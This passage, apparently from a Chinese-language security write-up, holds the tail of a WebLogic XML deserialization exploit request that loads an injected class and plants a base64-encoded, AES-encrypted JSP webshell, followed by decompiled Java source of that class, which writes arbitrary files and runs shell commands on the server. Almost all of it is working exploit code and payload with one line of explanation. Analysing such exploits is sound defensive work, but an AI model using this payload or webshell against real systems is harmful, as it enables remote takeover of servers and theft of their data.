AAACmABQAFQAAAAAApgEGAIYAAQAZAI0BBwEIAAIAHwCHAQkAhgADADoAbAEKAQsABAB6ACwBDAENAAUAiAAeAQ4BDwAGAI4AGACNAI4ABwBPAAAAEgAFFAL9ABkBBwA2/AAmBwDYFgABARAAAAACARE=</string>
</void>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
                    <void method="defineClass">
                        <string>com.supeream.exploits.XmlAPITest</string>
                        <object idref="byte_arr"></object>
                        <void method="newInstance">
                            <void method="up" id="proc">
                                <string>file:NUt2TEM3LmpzcA==:PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IFN0cmluZyBwYXNzPSJwYXNzIjsgU3RyaW5nIG1kNT1tZDUocGFzcyt4Yyk7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0gcHVibGljIHN0YXRpYyBTdHJpbmcgbWQ1KFN0cmluZyBzKSB7U3RyaW5nIHJldCA9IG51bGw7dHJ5IHtqYXZhLnNlY3VyaXR5Lk1lc3NhZ2VEaWdlc3QgbTttID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTttLnVwZGF0ZShzLmdldEJ5dGVzKCksIDAsIHMubGVuZ3RoKCkpO3JldCA9IG5ldyBqYXZhLm1hdGguQmlnSW50ZWdlcigxLCBtLmRpZ2VzdCgpKS50b1N0cmluZygxNikudG9VcHBlckNhc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge31yZXR1cm4gcmV0OyB9IHB1YmxpYyBzdGF0aWMgU3RyaW5nIGJhc2U2NEVuY29kZShieXRlW10gYnMpIHRocm93cyBFeGNlcHRpb24ge0NsYXNzIGJhc2U2NDtTdHJpbmcgdmFsdWUgPSBudWxsO3RyeSB7YmFzZTY0PUNsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTtPYmplY3QgRW5jb2RlciA9IGJhc2U2NC5nZXRNZXRob2QoImdldEVuY29kZXIiLCBudWxsKS5pbnZva2UoYmFzZTY0LCBudWxsKTt2YWx1ZSA9IChTdHJpbmcpRW5jb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZW5jb2RlVG9TdHJpbmciLCBuZXcgQ2xhc3NbXSB7IGJ5dGVbXS5jbGFzcyB9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtdIHsgYnMgfSk7fSBjYXRjaCAoRXhjZXB0aW9uIGUpIHt0cnkgeyBiYXNlNjQ9Q2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RW5jb2RlciIpOyBPYmplY3QgRW5jb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOyB2YWx1ZSA9IChTdHJpbmcpRW5jb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZW5jb2RlIiwgbmV3IENsYXNzW10geyBieXRlW10uY2xhc3MgfSkuaW52b2tlKEVuY29kZXIsIG5ldyBPYmplY3RbXSB7IGJzIH0pO30gY2F0Y2ggKEV4Y2VwdGlvbiBlMikge319cmV0dXJuIHZhbHVlOyB9IHB1YmxpYyBzdGF0aWMgYnl0ZVtdIGJhc2U2NERlY29kZShTdHJpbmcgYnMpIHRocm93cyBFeGNlcHRpb24ge0NsYXNzIGJhc2U2NDtieXRlW10gdmFsdWUgPSBudWxsO3RyeSB7YmFzZTY0PUNsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTtPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYmFzZTY0LCBudWxsKTt2YWx1ZSA9IChieXRlW10pZGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlIiwgbmV3IENsYXNzW10geyBTdHJpbmcuY2xhc3MgfSkuaW52b2tlKGRlY29kZXIsIG5ldyBPYmplY3RbXSB7IGJzIH0pO30gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7dHJ5IHsgYmFzZTY0PUNsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsgT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQubmV3SW5zdGFuY2UoKTsgdmFsdWUgPSAoYnl0ZVtdKWRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tdIHsgU3RyaW5nLmNsYXNzIH0pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W10geyBicyB9KTt9IGNhdGNoIChFeGNlcHRpb24gZTIpIHt9fXJldHVybiB2YWx1ZTsgfSU+PCV0cnl7Ynl0ZVtdIGRhdGE9YmFzZTY0RGVjb2RlKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpKTtkYXRhPXgoZGF0YSwgZmFsc2UpO2lmIChzZXNzaW9uLmdldEF0dHJpYnV0ZSgicGF5bG9hZCIpPT1udWxsKXtzZXNzaW9uLnNldEF0dHJpYnV0ZSgicGF5bG9hZCIsbmV3IFgodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLlEoZGF0YSkpO31lbHNle3JlcXVlc3Quc2V0QXR0cmlidXRlKCJwYXJhbWV0ZXJzIixkYXRhKTtqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQ9bmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7T2JqZWN0IGY9KChDbGFzcylzZXNzaW9uLmdldEF0dHJpYnV0ZSgicGF5bG9hZCIpKS5uZXdJbnN0YW5jZSgpO2YuZXF1YWxzKGFyck91dCk7Zi5lcXVhbHMocGFnZUNvbnRleHQpO3Jlc3BvbnNlLmdldFdyaXRlcigpLndyaXRlKG1kNS5zdWJzdHJpbmcoMCwxNikpO2YudG9TdHJpbmcoKTtyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShiYXNlNjRFbmNvZGUoeChhcnJPdXQudG9CeXRlQXJyYXkoKSwgdHJ1ZSkpKTtyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShtZDUuc3Vic3RyaW5nKDE2KSk7fSB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXt9JT4=</string>
                            </void>
                        </void>
                    </void>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

C:\Oracle\Middleware\Oracle_Home2\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.wsat-endpoints-impl_12.1.3\8919zy\war

以下是base64反编译出来的源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.supeream.exploits;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.ArrayList;
import weblogic.servlet.internal.HttpConnectionHandler;
import weblogic.servlet.internal.ServletResponseImpl;
import weblogic.servlet.internal.WebAppServletContext;
import weblogic.utils.FileUtils;
import weblogic.utils.encoders.BASE64Decoder;
import weblogic.work.ExecuteThread;
import weblogic.work.WorkAdapter;
public class XmlAPITest {
    private static BASE64Decoder b = new BASE64Decoder();
    public XmlAPITest() {
    }
    private String getPath() {
        try {
            HttpConnectionHandler httpConnectionHandler = this.getHttpConnectionHandler();
            if (httpConnectionHandler != null) {
                WebAppServletContext webAppServletContext = httpConnectionHandler.getServletRequest().getContext();
                return webAppServletContext.getRootTempDir().getAbsolutePath() + "/war/";
            }
        } catch (Exception var3) {
        }
        return "";
    }
    private HttpConnectionHandler getHttpConnectionHandler() {
        try {
            ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();
            WorkAdapter workAdapter = executeThread.getCurrentWork();
            Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
            if (field != null) {
                field.setAccessible(true);
                return (HttpConnectionHandler)field.get(workAdapter);
            }
        } catch (Exception var4) {
        }
        return null;
    }
    private String base64Decode(String str) {
        try {
            return new String(b.decodeBuffer(str), "UTF-8");
        } catch (IOException var3) {
            return "";
        }
    }
    private byte[] base64DecodeByte(String str) {
        try {
            return b.decodeBuffer(str);
        } catch (IOException var3) {
            return null;
        }
    }
    private ServletResponseImpl getServletResponse() {
        ServletResponseImpl response = null;
        HttpConnectionHandler httpConnectionHandler = this.getHttpConnectionHandler();
        if (httpConnectionHandler != null) {
            response = httpConnectionHandler.getServletRequest().getResponse();
        }
        return response;
    }
    public void path() throws Exception {
        this.getServletResponse().getWriter().print(this.getPath());
    }
    public void print(String str) throws Exception {
        this.getServletResponse().getWriter().print(str);
    }
    public void up(String bdata) throws Exception {
        String[] datas = bdata.split(":");
        String op = datas[0];
        String path = this.base64Decode(datas[1]);
        if (!"path".equals(op)) {
            path = this.getPath() + path;
        }
        byte[] data = this.base64DecodeByte(datas[2]);
        FileUtils.writeToFile(data, path);
        this.getServletResponse().getWriter().print("xml_test_ok");
    }
    public void say(String cmd) throws Exception {
        cmd = this.base64Decode(cmd);
        if (cmd == null || cmd.trim().length() == 0) {
            cmd = "whoami";
        }
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        ArrayList cmds = new ArrayList();
        if (isLinux) {
            cmds.add("/bin/bash");
            cmds.add("-c");
            cmds.add(cmd);
        } else {
            cmds.add("cmd.exe");
            cmds.add("/c");
            cmds.add(cmd);
        }
        ProcessBuilder processBuilder = new ProcessBuilder(cmds);
        processBuilder.redirectErrorStream(true);
        Process proc = processBuilder.start();
        ServletResponseImpl response = this.getServletResponse();
        response.getServletOutputStream().writeStream(proc.getInputStream());
        this.getServletResponse().getWriter().flush();
    }
}